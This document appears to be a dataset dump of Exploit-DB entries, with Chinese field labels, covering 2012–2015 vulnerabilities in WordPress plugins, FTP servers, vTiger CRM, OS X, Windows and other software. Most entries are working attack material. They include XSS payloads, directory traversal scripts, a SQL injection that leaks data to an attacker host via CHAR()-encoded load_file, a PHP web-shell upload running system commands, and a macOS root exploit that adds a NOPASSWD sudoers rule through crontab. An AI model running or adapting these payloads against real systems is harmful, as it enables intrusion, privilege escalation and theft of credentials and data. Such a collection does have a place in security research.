QLWD/code_shield huggingface dataset:
标题: McAfee Vulnerability Manager - 'cert_cn' Cross-Site Scripting EDB-ID: 38368 CVE: 2013-5094 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/58401/info

McAfee Vulnerability Manager is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

McAfee Vulnerability Manager 7.5.0 and 7.5.1 are vulnerable; other versions may also be affected. 

GET /www.example.com/index.exp HTTP/1.1
Cookie: identity=p805oa53c0dab5vpcv1da30me7;
cert_cn=%27%22%28%29%26%251%3CScRiPt %3Eprompt%28920847%29%3C%2FScRiPt%3E;
remember=remember
Host: 172.28.1.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */* URL: https://www.exploit-db.com/exploits/38368
标题: WordPress Plugin Terillion Reviews - Profile Id HTML Injection EDB-ID: 38373 CVE: 2013-2501 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/58415/info

The Terillion Reviews plugin for WordPress is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> URL: https://www.exploit-db.com/exploits/38373
标题: Privoxy Proxy - Authentication Information Disclosure EDB-ID: 38377 CVE: 2013-2503 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/58425/info

Privoxy is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to gain access to the user accounts and potentially obtain sensitive information. This may aid in further attacks.

Privoxy 3.0.20 is affected; other versions may also be vulnerable. 

Response Code (current).: 407

Response Headers (as seen by your browser).:

HTTP/1.1 407 Proxy Authentication Required
Date: Mon, 11 Mar 2013 17:01:59 GMT
Server: ./msfcli auxiliary/server/capture/http set SRVPORT=80
Proxy-Authenticate: Basic
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 571
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Request Headers (as seen by the remote website)

Host: c22.cc
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/
Connection: keep-alive URL: https://www.exploit-db.com/exploits/38377
标题: Apple Mac OSX 10.9.5/10.10.5 - 'rsh/libmalloc' Local Privilege Escalation EDB-ID: 38371 CVE: 2015-5889 类型: LOCAL 平台: OSX 发布日期: 2015-10-01 漏洞利用脚本: # CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0: 
 os.close(1)
 os.close(2)
 os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
 sys.stderr.write("failed\n")
 sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
 sys.stderr.write(".") 
 time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su") URL: https://www.exploit-db.com/exploits/38371
标题: Foscam < 11.37.2.49 - Directory Traversal EDB-ID: 38356 CVE: 2013-2560 类型: REMOTE 平台: HARDWARE 发布日期: 2013-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/58290/info

Foscam is prone to a directory-traversal vulnerability.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application. This may aid in further attacks. 

GET //../proc/kcore HTTP/1.0 URL: https://www.exploit-db.com/exploits/38356
标题: WordPress Plugin Uploader - 'blog' Cross-Site Scripting EDB-ID: 38355 CVE: 2013-2287 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/58285/info

The Uploader Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Uploader 1.0.4 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3Cscript%3Ealert%28123%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/38355
标题: Apport 2.19 (Ubuntu 15.04) - Local Privilege Escalation EDB-ID: 38353 CVE: 2015-1338 类型: LOCAL 平台: LINUX 发布日期: 2015-09-29 漏洞利用脚本: Source: http://www.halfdog.net/Security/2015/ApportKernelCrashdumpFileAccessVulnerabilities/

Problem description: On Ubuntu Vivid Linux distribution apport is used for automated sending of client program crash dumps but also of kernel crash dumps. For kernel crashes, upstart or SysV init invokes the program /usr/share/apport/kernel_crashdump at boot to prepare crash dump files for sending. This action is performed with root privileges. As the crash dump directory /var/crash/ is world writable and kernel_crashdump performs file access in unsafe manner, any local user may trigger a denial of service or escalate to root privileges. If symlink and hardlink protection is enabled (which should be the default for any modern system), only denial of service is possible.
Problematic syscall in kernel_crashdump is:

open("/var/crash/linux-image-3.19.0-18-generic.0.crash", O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE|O_CLOEXEC, 0666) = 30
...
open("/var/crash/vmcore.log", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 31

Thus the output file is opened unconditionally and without O_EXCL or O_NOFOLLOW. Also opening of input file does not care about links.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38353.zip URL: https://www.exploit-db.com/exploits/38353
标题: Adobe Acrobat Reader - AFParseDate JavaScript API Restrictions Bypass EDB-ID: 38344 CVE: 2015-3073 类型: DOS 平台: WINDOWS 发布日期: 2015-09-28 漏洞利用脚本: # Title: Adobe Acrobat Reader AFParseDate Javascript API Restrictions
Bypass Vulnerability
# Date: 09/28/2015
# Author: Reigning Shells, based off PoC published by Zero Day Initiative
# Vendor Homepage: adobe.com
# Version: Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before
11.0.11 on Windows and OS X are vulnerable.
# Tested on: Adobe Acrobat 11.0.10 on Windows 7
# CVE : CVE-2015-3073

This vulnerability allows remote attackers to bypass API restrictions on
vulnerable installations of Adobe Reader. User interaction is required to
exploit this vulnerability in that the target must visit a malicious page
or open a malicious file.

The specific flaw exists within AFParseDate. By creating a specially
crafted PDF with specific JavaScript instructions, it is possible to bypass
the Javascript API restrictions. A remote attacker could exploit this
vulnerability to execute arbitrary code.

Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before 11.0.11 on
Windows and OS X are vulnerable.

Notes:

The code assumes you attached a DLL named exploit.txt to the PDF document
to get around attachment security restrictions.

Acrobat will execute updaternotifications.dll if it's in the same directory
as the Acrobat executable or the same directory as the document being
opened.

Credit for discovery and the initial POC that illustrates code being
executed in the privileged context (launching a URL) goes to the Zero Day
Initiative.

Code: 
https://github.com/reigningshells/CVE-2015-3073/blob/master/exploit.js
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38344.zip URL: https://www.exploit-db.com/exploits/38344
标题: vTiger CRM 6.3.0 - (Authenticated) Remote Code Execution EDB-ID: 38345 CVE: 2016-1713 2015-6000 类型: WEBAPPS 平台: PHP 发布日期: 2015-09-28 漏洞利用脚本: -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


# Exploit Title: Vtiger CRM <= 6.3.0 Authenticated Remote Code Execution
# Date: 2015-09-28
# Exploit Author: Benjamin Daniel Mussler
# Vendor Homepage: https://www.vtiger.com
# Software Link: https://www.vtiger.com/open-source-downloads/
# Version: 6.3.0 (and lower)
# Tested on: Linux (Ubuntu)
# CVE : CVE-2015-6000
# Source: http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html


=== Description ===

Vtiger CRM's administration interface allows for the upload of a company
logo. Instead of uploading an image, an attacker may choose to upload a
file containing PHP code and run this code by accessing the resulting
PHP file.

Detailed description:
http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html


=== PoC ===

Through a specially crafted HTTP-POST request, a PHP file is stored on
the server hosting the Vtiger CRM software:

    POST /index.php HTTP/1.1
    Host: [...]
    Cookie: [...]
    Connection: keep-alive
    Content-Type: multipart/form-data; boundary=---------------------------51732462825208
    Content-Length: 2040

    -----------------------------51732462825208
    Content-Disposition: form-data; name="__vtrftk"

    [...]
    -----------------------------51732462825208
    Content-Disposition: form-data; name="logo"; filename="2.php"
    Content-Type: image/jpeg

    <? system('id; uname -a; /sbin/ifconfig -a'); system('cat ../../vtigerversion.php'); ?>
    -----------------------------51732462825208
    Content-Disposition: form-data; name="address"
    [...]


The resulting PHP file can then be accessed at

        [Vtiger URL]/test/logo/2.php





- --
  Benjamin Daniel MUSSLER

  Ix-Xgħajra, Malta     Tel (MT) +356 9965 3798
  Karlsruhe, Germany     Tel (DE) +49 721 989 0150
  Web: https://FL7.DE     PGP: https://FL7.DE/pgp/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.21 (MingW32)

iQIcBAEBAgAGBQJWCVaeAAoJEAg0a3ng3v4f108P/0u+CUuUKSsSFiQt4S/HVAnw
5ykzNoZ/T1v0LUrItI1bZPeTyRr6VUandYclg68OM3VY0zc4x9161ScSlcnIitVO
AasvEw7mGguAR4Pe2i84LpPNvE6Bi+MJqU6vnBqZVmQMXUY8k+Mb0ufM/DMByLPj
dcozrAgI9ZQC3pnWiOPigD+gHe/AxY3Z1cxQLluOqBmMf7f3JXC+1dZt91EScuyi
lHNtd6/uRtHJKqBG8MZMXnq49OxTk7iiqQmb393RizPL0eI8FumwaCXTDnLgRwX3
7XQfmg3sCzT1jPSQB4/UYciePPOS4EREjDA/RW5ydtGRCkZPvmjUlfaFMwTjlCd1
dpRIRlzDBWUCVFIqkp2TGkrkbckA1hnehH1q64sQ4KopdKl0tPJ8yLumVr2Uvwtq
iLAbhQcn6+Cr9gctzOlrbj7BqY9uC0HfVdsl1qOCN5v3Yrbq7h/ToPnKGACLQN7t
sALb61+vvriPimTVZD3AQg9t82G1brPHMzp+cLwjhYtw8b+2rohAA0JoUgBsCUHG
8dgnHI1K514soGkCDB4Mk2oM5W8T2tMsxvX/iQDH45IL3hYrROnWUnW+Fd3hA3ks
VsqaNpaDEm+allop6OH3PETs6rGsLyaspCJBdkqKqxNOS6XE+lScrBVxzNL4VJL2
i8fbvZ/RIkuBT0Z79hUV
=gMXq
-----END PGP SIGNATURE----- URL: https://www.exploit-db.com/exploits/38345
标题: BisonWare BisonFTP Server 3.5 - Directory Traversal EDB-ID: 38341 CVE: 2015-7602 类型: REMOTE 平台: WINDOWS 发布日期: 2015-09-28 漏洞利用脚本: #!/usr/bin/python
# title: BisonWare BisonFTP server product V3.5 Directory Traversal Vulnerability
# author: Jay Turla <@shipcod3>
# tested on Windows XP Service Pack 3 - English
# software link: https://www.exploit-db.com/apps/081331edfc143738a60e029192b5986e-BisonFTPServer.rar
# description: BisonWare BisonFTP server product V3.5 is vulnerable to Directory Traversal (quick and dirty code just for PoC) 

from ftplib import FTP

ftp = FTP(raw_input("Target IP: ")) 
ftp.login()                   
ftp.retrbinary('RETR ../../../boot.ini', open('boot.ini.txt', 'wb').write)
ftp.close()
file = open('boot.ini.txt', 'r')
print "[**] Printing what's inside boot.ini\n"
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
print file.read()
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" URL: https://www.exploit-db.com/exploits/38341
标题: PCMan FTP Server 2.0.7 - Directory Traversal EDB-ID: 38340 CVE: 2015-7601 类型: REMOTE 平台: WINDOWS 发布日期: 2015-09-28 漏洞利用脚本: #!/usr/bin/python
# title: PCMan FTP Server v2.0.7 Directory Traversal
# author: Jay Turla <@shipcod3>
# tested on Windows XP Service Pack 3 - English
# software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# description: PCMAN FTP 2.07 is vulnerable to Directory Traversal (quick and dirty code just for PoC) 

from ftplib import FTP

ftp = FTP(raw_input("Target IP: ")) 
ftp.login()                   
ftp.retrbinary('RETR ..//..//..//..//..//..//..//..//..//..//..//boot.ini', open('boot.ini.txt', 'wb').write)
ftp.close()
file = open('boot.ini.txt', 'r')
print "[**] Printing what's inside boot.ini\n"
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
print file.read()
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" URL: https://www.exploit-db.com/exploits/38340
标题: JForum - 'jforum.page' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 38334 CVE: 2012-5337 类型: WEBAPPS 平台: JSP 发布日期: 2013-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/58164/info

JForum is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

JForum 2.1.9 is vulnerable; other versions may also be affected. 

GET/jforum/jforum.page?module=posts&start=0&forum_id=1&quick=1&disable_html=1&action=insertSave4a9d0%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e5d668e3a93160a27e&topic_id=2 HTTP/1.1 URL: https://www.exploit-db.com/exploits/38334
标题: ZeroClipboard 1.9.x - 'id' Cross-Site Scripting EDB-ID: 38329 CVE: 2012-6550 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/58116/info

ZeroClipboard is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ZeroClipboard versions prior to 1.1.7 are vulnerable. 

http://www.example.com/themes/default/htdocs/flash/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/piwigo/extensions/UserCollections/template/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/filemanager/views/js/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/path/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/script/jqueryplugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/www.example.coms/all/modules/ogdi_field/plugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height URL: https://www.exploit-db.com/exploits/38329
标题: WordPress Plugin Smart Flv - 'jwplayer.swf' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 38331 CVE: 2013-1765 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/58135/info

The Smart Flv plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

https://www.example.com/wp-content/plugins/smart-flv/jwplayer.swf?file=1.mp4&link=javascript:alert%28%22horse%22%29&linktarget=_self&displayclick=link

https://www.example.com/wp-content/plugins/smart-flv/jwplayer.swf?playerready=alert%28%22horse%22%29 URL: https://www.exploit-db.com/exploits/38331
标题: Batavi - 'index.php' Cross-Site Scripting EDB-ID: 38332 CVE: 2013-2289 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/58151/info

Batavi is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Batavi 1.2.2 is vulnerable; other versions may also be affected. 

<root>/admin/index.php?file_manager&file_manager&"><script>alert(123)</script></a><a href=" URL: https://www.exploit-db.com/exploits/38332
标题: WordPress Plugin Pretty Link - Cross-Site Scripting EDB-ID: 38324 CVE: 2013-1636 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/58072/info

The Pretty Link plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Pretty Link 1.6.3 are vulnerable. 

http://www.example.com/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})() URL: https://www.exploit-db.com/exploits/38324
标题: WordPress Plugin Audio Player - 'playerID' Cross-Site Scripting EDB-ID: 38300 CVE: 2013-1464 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/57848/info

The Audio Player plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

Audio player versions prior to 2.0.4.6 are vulnerable.

http://www.example.com/wp-content/plugins/audio-player/assets/player.swf?playerID=a\â?))}catch(e){alert(1)}// URL: https://www.exploit-db.com/exploits/38300
标题: WordPress Plugin NextGEN Gallery - Full Path Disclosure EDB-ID: 38314 CVE: 2013-0291 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/57957/info

The NextGEN Gallery plugin for WordPress is prone to a path-disclosure vulnerability. 

An attacker can exploit this issue to obtain sensitive information that may lead to further attacks. 

NextGEN Gallery versions 1.9.10 and 1.9.11 are vulnerable; other versions may also be affected.

http://www.example.com/?callback=json&api_key=true&format=json&method=gallery&id=1 

http://www.example.com/?callback=json&api_key=true&format=xml&method=recent&limit=1 URL: https://www.exploit-db.com/exploits/38314
标题: Microsoft Windows Kernel - 'NtGdiBitBlt' Buffer Overflow (MS15-097) EDB-ID: 38307 CVE: 2015-2512 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-24 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=474

---
The attached PoC triggers a buffer overflow in the NtGdiBitBlt system call. It reproduces reliable on Win 7 32-bit with Special Pool enabled on win32k.sys
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38307.zip URL: https://www.exploit-db.com/exploits/38307
标题: Symantec Encryption Desktop 10 - Local Buffer Overflow / Local Privilege Escalation EDB-ID: 38299 CVE: 2012-6533 类型: LOCAL 平台: WINDOWS 发布日期: 2012-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/57835/info

Symantec Encryption Desktop is prone to a local buffer-overflow vulnerability. 

A local attacker may exploit this issue to execute arbitrary code with escalated privileges.

#define IO_CONTROL_VULN 0x80022058
 
#define TARGET_DEVICE L"\\Device\\pgpwdef"
 
[..]
 
    usName.Buffer = TARGET_DEVICE;
    usName.Length = usName.MaximumLength = 
(USHORT)(wcslen(usName.Buffer) * sizeof(WCHAR));
 
    InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE , 
NULL, NULL);    
 
 
    // get handle of target devide
    ns = f_NtOpenFile(
        &hDev,
        FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
        &ObjAttr,
        &StatusBlock,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_SYNCHRONOUS_IO_NONALERT
    );
 
[..]
 
    BOOL bStatus = DeviceIoControl(
        hDev,
        IO_CONTROL_VULN,
        InBuff, 0x8,
        OutBuff, 0x8,
        &dwReturnLen, NULL
    );
 
    dwReturnLen = 0;
    bStatus = DeviceIoControl(
        hDev,
        IO_CONTROL_VULN,
        InBuff, sizeof(PVOID),
        (PUCHAR)m_HalDispatchTable, 0,
        &dwReturnLen, NULL
    );
 
[..]
 
    f_NtQueryIntervalProfile(ProfileTotalIssues, &Interval);
 
[..]
 
Your evil code processes with CPL==0 URL: https://www.exploit-db.com/exploits/38299
标题: WordPress Plugin Wysija Newsletters - Multiple SQL Injections EDB-ID: 38297 CVE: 2013-1408 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/57775/info

The Wysija Newsletters Plugin for WordPress is prone to multiple SQL-injection vulnerabilities. 

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Wysija Newsletters 2.2 is vulnerable; other versions may also be affected.

http://www.example.com/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) -- URL: https://www.exploit-db.com/exploits/38297
标题: WordPress Plugin CommentLuv - '_ajax_nonce' Cross-Site Scripting EDB-ID: 38296 CVE: 2013-1409 类型: WEBAPPS 平台: PHP 发布日期: 2013-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/57771/info

The CommentLuv plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CommentLuv versions 2.92.3 and prior are vulnerable.

<form action="http://www.example.com/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form> URL: https://www.exploit-db.com/exploits/38296